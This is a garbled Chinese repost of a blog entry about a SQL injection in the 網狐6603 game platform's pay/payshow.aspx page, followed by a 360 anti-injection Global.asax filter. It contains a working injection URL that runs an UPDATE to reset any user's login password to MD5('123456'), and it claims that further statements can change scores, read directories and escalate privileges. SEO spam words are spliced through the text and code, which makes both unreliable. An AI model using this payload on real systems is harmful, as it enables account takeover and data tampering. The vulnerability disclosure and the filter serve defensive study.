先看下網站是否存在pay/payshow.aspx頁面。
構造
url=http://192.168.1.8/pay/payshow.aspx?orderid=1′;UPDATE%20QPAccountsDB.文件dbo.Accou惡意讨薪nts
I文件管理器nfo%2字符串是什麽意思0SET%20LogonPass%20=%20’E10ADC3949BA59目錄頁碼怎麽對齊ABBE56E057F20F883E’%20WHER
E%20accounts%20=用戶名%20–
E10ADC39惡意調崗降薪怎麽離職49BA59ABBE56E057F20F883E=MD5（123456）
直接訪問URL，看看密碼是不是變成123456了。
自己構造别的語句，可以數據漫遊是什麽意思修改任意分數，讀取服務器目錄，提權…….字符間距….
其他頁面也有這樣的BUG。
以下是360通用sql文件管理防注入方法字符是什麽。
—————–使用方法文件傳輸助手——————————————————————
1.将Ap惡意讨薪p_Code目錄拷貝到web根目錄
假如已經存在App_文件格式Code目錄,那直接把App_Code目錄裏的360safe.cs文件拷貝到當前惡意讨薪
的
App_Code目錄即可。
2.将Glo字符串是什麽意思bal.asax文件拷貝到web根目錄
假如已經存在Global.asax文件,那直接把下面這段代碼
voidApplication_BeginRequest(objectsender,EventArgse)
{
if(Request.Cookies!=null)
{
if(safe_360.CookieData())
{
Response.Write(“您提交的Cookie數據有惡意字符！”);
Response.End();
}
}
if(Request.UrlRefer惡意小說rer!=null)
{
if(safe_360.referer()){
Response.Write(“您提交的數據恢複軟件免費版Referrer數據有惡意字符！”);
Response.End();
}
}
if(Request.RequestType.ToUpper(目錄英文)==”POST”)
– `3 ?! L6 J4 t& n% Z+ U
{
if(safe_3數據分析60.PostData())
{
Response.Write(“您提交的Post數據有惡意字符！”);
Response.End();
}
}
if(Request.Reque目錄格式stType.ToUpper()==”GET”)
{
if(safe_360.GetData()數據結構)
{
Response.Wri字符間距加寬2磅te(“您提交的Get數據有惡意字符！”);
Respo惡意借貸立案标準nse.End();
}
}
}
拷貝到當前的Global.asax文件裏保存。
修複方法：安裝個安全狗就OK了
網狐6603 SQL注入任意修改數據原文鏈接：https://qipaiyuanmaxiazai.com/12319.html，轉載請注明出處~~~
評論0